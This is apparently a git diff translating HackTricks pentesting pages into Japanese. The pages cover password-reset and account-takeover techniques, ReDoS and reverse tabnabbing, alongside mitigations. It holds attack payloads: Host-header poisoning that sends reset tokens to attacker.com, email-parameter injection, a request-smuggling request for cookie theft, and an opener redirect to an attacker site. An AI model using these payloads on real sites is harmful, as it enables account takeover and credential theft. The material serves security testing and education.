### リファラー経由のパスワードリセットトークン漏洩 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Dont change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
1. 自分のメールアドレスにパスワードリセットをリクエストする
2. パスワードリセットリンクをクリックする
3. パスワードを変更しない
4. 任意の3rdパーティのウェブサイトをクリックする例: Facebook, Twitter
5. Burp Suiteプロキシでリクエストを傍受する
6. refererヘッダーがパスワードリセットトークンを漏洩しているか確認する。
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### パスワードリセットポイズニング <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
1. Burp Suiteでパスワードリセットリクエストを傍受する
2. Burp Suiteで次のヘッダーを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 修正されたヘッダーでリクエストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _hostヘッダー_に基づいてパスワードリセットURLを探す: `https://attacker.com/reset-password.php?token=TOKEN`
### メールパラメータ経由のパスワードリセット <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -89,60 +88,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動する必要があります。
2. Burp Suiteを起動し、リクエストをインターセプトします。
3. リピータタブに送信し、パラメータを編集しますユーザーID/メール\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
The password reset token should be randomly generated and unique every time.\
Try to determine if the token expire or if its always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムで使用される可能性があります。
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between \[A-Z,a-z,0-9])
- Token reuse
- Token expiration date
- タイムスタンプ
- ユーザーID
- ユーザーのメール
- 名と姓
- 生年月日
- 暗号化
- 数字のみ
- 小さなトークンシーケンス(文字は\[A-Z,a-z,0-9]の間)
- トークンの再利用
- トークンの有効期限
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. 特定のメールtest@mail.comを使用してAPI/UIからパスワードリセットリクエストをトリガーします。
2. サーバーの応答を検査し、`resetToken`を確認します。
3. 次に、トークンをURLに使用します`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Register on the system with a username identical to the victims username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
3. あなたのメールに送信されたトークンを使用して被害者のパスワードをリセットします。
4. 新しいパスワードで被害者のアカウントに接続します。
The platform CTFd was vulnerable to this attack.\
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie
1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合`*.domain.com`
2. 現在の**セッションクッキー**を漏洩させます。
3. クッキーを使用してユーザーとして認証します。
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\
1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプCL、TE、CL.TEを検出します。\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
3\. Final request could look like the following
2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\
3\. 最終リクエストは次のようになります。
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -154,30 +151,28 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone reports exploiting this bug\
Hackeroneはこのバグを悪用した報告をしています\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### CSRFによるアカウント乗っ取り <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change
2. Send the payload
1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム
2. ペイロードを送信します
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### JWTによるアカウント乗っ取り <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token might be used to authenticate an user.
JSON Web Tokenはユーザーを認証するために使用されることがあります。
- Edit the JWT with another User ID / Email
- Check for weak JWT signature
- 別のユーザーID / メールでJWTを編集します
- 弱いJWT署名を確認します
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## References
## 参考文献
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Regular expression Denial of Service - ReDoS
# 正規表現サービス拒否 - ReDoS
{{#include ../banners/hacktricks-training.md}}
# Regular Expression Denial of Service (ReDoS)
# 正規表現サービス拒否 (ReDoS)
A **Regular Expression Denial of Service (ReDoS)** happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text they're working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.
**正規表現サービス拒否 (ReDoS)** は、誰かが正規表現(テキスト内のパターンを検索および一致させる方法)の動作の弱点を利用する場合に発生します。正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。この遅さは、テキストサイズがわずかに増加するだけで急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。
## The Problematic Regex Naïve Algorithm
## 問題のある正規表現のナイーブアルゴリズム
**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
**詳細は [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) を確認してください**
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
## 悪意のある正規表現 <a href="#evil-regexes" id="evil-regexes"></a>
An evil regular expression pattern is that one that can **get stuck on crafted input causing a DoS**. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:
悪意のある正規表現パターンとは、**作成された入力に引っかかり、DoSを引き起こす**ことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは重複を含む選択肢を持っています。悪意のあるパターンのいくつかの例は次のとおりです:
- (a+)+
- ([a-zA-Z]+)\*
@ -20,41 +20,40 @@ An evil regular expression pattern is that one that can **get stuck on crafted i
- (a|a?)+
- (.\*a){x} for x > 10
All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
これらはすべて、入力 `aaaaaaaaaaaaaaaaaaaaaaaa!` に対して脆弱です。
## ReDoS Payloads
## ReDoS ペイロード
### String Exfiltration via ReDoS
### ReDoSによる文字列の抽出
In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**:
CTFまたはバグバウンティでは、**正規表現が一致する機密情報(フラグ)を制御している**かもしれません。その場合、**正規表現が一致した場合にページをフリーズ(タイムアウトまたは長い処理時間)させる**ことが有用です。そうすることで、**文字を1文字ずつ抽出**することができます:
- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
- Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
- [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) では、このReDoSルールを見つけることができます: `^(?=<flag>)((.*)*)*salt$`
- 例: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) では、次のものが見つかります: `<flag>(((((((.*)*)*)*)*)*)*)!`
- [**この解説**](https://ctftime.org/writeup/25869) では、次のように使用されました: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Controlling Input and Regex
The following are **ReDoS** examples where you **control** both the **input** and the **regex**:
### ReDoSの入力と正規表現の制御
以下は、**入力**と**正規表現**の両方を**制御**する**ReDoS**の例です:
```javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
@ -66,13 +65,12 @@ Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Tools
## ツール
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
## References
## 参考文献
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
@ -80,4 +78,3 @@ Regexp (a+)*$ took 723 milliseconds.
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,220 +1,203 @@
# Reset/Forgotten Password Bypass
# パスワードリセット/忘れたパスワードのバイパス
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう!
## **Password Reset Token Leak Via Referrer**
## **リファラーを介したパスワードリセットトークンの漏洩**
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- HTTPリファラーヘッダーは、URLに含まれている場合、パスワードリセットトークンを漏洩させる可能性があります。これは、ユーザーがパスワードリセットをリクエストした後にサードパーティのウェブサイトリンクをクリックしたときに発生する可能性があります。
- **影響**: クロスサイトリクエストフォージェリCSRF攻撃によるアカウントの乗っ取りの可能性。
- **悪用**: リファラーヘッダーにパスワードリセットトークンが漏洩しているか確認するには、**パスワードリセットを**自分のメールアドレスにリクエストし、提供された**リセットリンクをクリック**します。**すぐにパスワードを変更しないでください**。代わりに、**Burp Suiteを使用してリクエストを傍受しながら、サードパーティのウェブサイト**FacebookやTwitterなどに**移動します**。リクエストを検査して、**リファラーヘッダーにパスワードリセットトークンが含まれているか**確認します。これにより、第三者に機密情報が露出する可能性があります。
- **参考文献**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [パスワードリセットトークン漏洩に関する記事](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Password Reset Poisoning**
## **パスワードリセットの毒性**
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
- **Mitigation Steps**:
- Validate the Host header against a whitelist of allowed domains.
- Use secure, server-side methods to generate absolute URLs.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
- 攻撃者は、パスワードリセットリクエスト中にHostヘッダーを操作して、リセットリンクを悪意のあるサイトに向けることがあります。
- **影響**: リセットトークンを攻撃者に漏洩させることによるアカウントの乗っ取りの可能性。
- **緩和策**:
- 許可されたドメインのホワイトリストに対してHostヘッダーを検証します。
- 絶対URLを生成するために安全なサーバーサイドの方法を使用します。
- **パッチ**: `$_SERVER['HTTP_HOST']`の代わりに`$_SERVER['SERVER_NAME']`を使用してパスワードリセットURLを構築します。
- **参考文献**:
- [パスワードリセットの毒性に関するAcunetixの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
## **メールパラメータを操作してパスワードリセット**
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Add attacker email as second parameter using &
攻撃者は、リセットリンクを誘導するために追加のメールパラメータを追加することで、パスワードリセットリクエストを操作できます。
- 攻撃者のメールを第二のパラメータとして&を使用して追加します。
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Add attacker email as second parameter using %20
- 攻撃者のメールアドレスを2番目のパラメータとして%20を使用して追加します。
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Add attacker email as second parameter using |
- 攻撃者のメールアドレスを2番目のパラメータとして|を使用して追加します。
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Add attacker email as second parameter using cc
- 攻撃者のメールアドレスを2番目のパラメータとしてccを使用して追加します。
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Add attacker email as second parameter using bcc
- 攻撃者のメールアドレスを第二のパラメータとしてbccを使用して追加します。
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Add attacker email as second parameter using ,
- 攻撃者のメールアドレスを2番目のパラメータとして追加します。
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Add attacker email as second parameter in json array
- JSON配列の2番目のパラメータとして攻撃者のメールアドレスを追加します。
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **緩和手順**:
- サーバー側でメールパラメータを適切に解析および検証します。
- インジェクション攻撃を防ぐために、プリペアードステートメントまたはパラメータ化クエリを使用します。
- **参考文献**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
- **Mitigation Steps**:
- Properly parse and validate email parameters server-side.
- Use prepared statements or parameterized queries to prevent injection attacks.
- **References**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Changing Email And Password of any User through API Parameters**
- Attackers can modify email and password parameters in API requests to change account credentials.
## **APIパラメータを通じて任意のユーザーのメールとパスワードを変更する**
- 攻撃者はAPIリクエスト内のメールおよびパスワードパラメータを変更してアカウントの資格情報を変更できます。
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **緩和手順**:
- 厳格なパラメータ検証と認証チェックを確保する。
- 不審な活動を検出し対応するために、堅牢なログ記録と監視を実装する。
- **参照**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- **Mitigation Steps**:
- Ensure strict parameter validation and authentication checks.
- Implement robust logging and monitoring to detect and respond to suspicious activities.
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **レート制限なし: メールボンピング**
## **No Rate Limiting: Email Bombing**
- パスワードリセットリクエストにレート制限がないと、ユーザーがリセットメールで圧倒されるメールボンピングが発生する可能性がある。
- **緩和手順**:
- IPアドレスまたはユーザーアカウントに基づいてレート制限を実装する。
- 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用する。
- **参照**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
- **Mitigation Steps**:
- Implement rate limiting based on IP address or user account.
- Use CAPTCHA challenges to prevent automated abuse.
- **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **パスワードリセットトークンの生成方法を調べる**
## **Find out How Password Reset Token is Generated**
- トークン生成のパターンや方法を理解することで、トークンを予測したりブルートフォース攻撃を行ったりできる。いくつかのオプション:
- タイムスタンプに基づく
- ユーザーIDに基づく
- ユーザーのメールに基づく
- 名字と姓に基づく
- 生年月日に基づく
- 暗号学に基づく
- **緩和手順**:
- トークン生成に強力な暗号化手法を使用する。
- 予測可能性を防ぐために十分なランダム性と長さを確保する。
- **ツール**: Burp Sequencerを使用してトークンのランダム性を分析する。
- Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- **Mitigation Steps**:
- Use strong, cryptographic methods for token generation.
- Ensure sufficient randomness and length to prevent predictability.
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
## **推測可能なUUID**
## **Guessable UUID**
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
- UUIDバージョン1が推測可能または予測可能な場合、攻撃者はそれをブルートフォースして有効なリセットトークンを生成する可能性がある。確認する:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Mitigation Steps**:
- Use GUID version 4 for randomness or implement additional security measures for other versions.
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
- **緩和手順**:
- ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
- **ツール**: [guidtool](https://github.com/intruder-io/guidtool)を使用してGUIDを分析および生成する。
## **Response Manipulation: Replace Bad Response With Good One**
## **レスポンス操作: 悪いレスポンスを良いものに置き換える**
- Manipulating HTTP responses to bypass error messages or restrictions.
- **Mitigation Steps**:
- Implement server-side checks to ensure response integrity.
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。
- **緩和手順**:
- レスポンスの整合性を確保するためにサーバー側のチェックを実装する。
- 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用する。
- **参照**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Using Expired Token**
## **期限切れトークンの使用**
- Testing whether expired tokens can still be used for password reset.
- **Mitigation Steps**:
- Implement strict token expiration policies and validate token expiry server-side.
- 期限切れのトークンがパスワードリセットにまだ使用できるかどうかをテストする。
- **緩和手順**:
- 厳格なトークンの有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。
## **Brute Force Password Reset Token**
## **ブルートフォースパスワードリセットトークン**
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
- **Mitigation Steps**:
- Implement robust rate-limiting and account lockout mechanisms.
- Monitor for suspicious activities indicative of brute-force attacks.
- BurpsuiteやIP-Rotatorのようなツールを使用してリセットトークンをブルートフォースし、IPベースのレート制限を回避しようとする。
- **緩和手順**:
- 堅牢なレート制限とアカウントロックアウトメカニズムを実装する。
- ブルートフォース攻撃を示す不審な活動を監視する。
## **Try Using Your Token**
## **トークンを使用してみる**
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
- **Mitigation Steps**:
- Ensure that tokens are bound to the user session or other user-specific attributes.
- 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストする。
- **緩和手順**:
- トークンがユーザーセッションまたは他のユーザー固有の属性にバインドされていることを確認する。
## **Session Invalidation in Logout/Password Reset**
## **ログアウト/パスワードリセット時のセッション無効化**
- Ensuring that sessions are invalidated when a user logs out or resets their password.
- **Mitigation Steps**:
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
- ユーザーがログアウトまたはパスワードをリセットしたときにセッションが無効化されることを確認する。
- **緩和手順**:
- 適切なセッション管理を実装し、ログアウトまたはパスワードリセット時にすべてのセッションが無効化されることを確保する。
## **Session Invalidation in Logout/Password Reset**
## **ログアウト/パスワードリセット時のセッション無効化**
- Reset tokens should have an expiration time after which they become invalid.
- **Mitigation Steps**:
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
- リセットトークンには、有効期限が設定され、その後無効になるべきである。
- **緩和手順**:
- リセットトークンの合理的な有効期限を設定し、サーバー側で厳格に施行する。
## References
## 参照
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握する
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう!
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,33 +1,32 @@
{{#include ../banners/hacktricks-training.md}}
# Description
# 説明
In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control (a **malicious** **website**). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.\
If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.
**攻撃者**が**`<a`**タグの**`href`**引数を**制御**できる状況で、属性**`target="_blank" rel="opener"`**を持つリンクが被害者によってクリックされる場合、**攻撃者**はこの**リンク**を自分の制御下にあるウェブサイト(**悪意のある****ウェブサイト**)に向けます。次に、**被害者がリンクをクリック**して攻撃者のウェブサイトにアクセスすると、この**悪意のある****ウェブサイト**はjavascriptオブジェクト**`window.opener`**を介して**元の****ページ**を**制御**できるようになります。\
ページに**`rel="opener"`**がないが**`target="_blank"`**が含まれていて、**`rel="noopener"`**がない場合も脆弱である可能性があります。
A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.
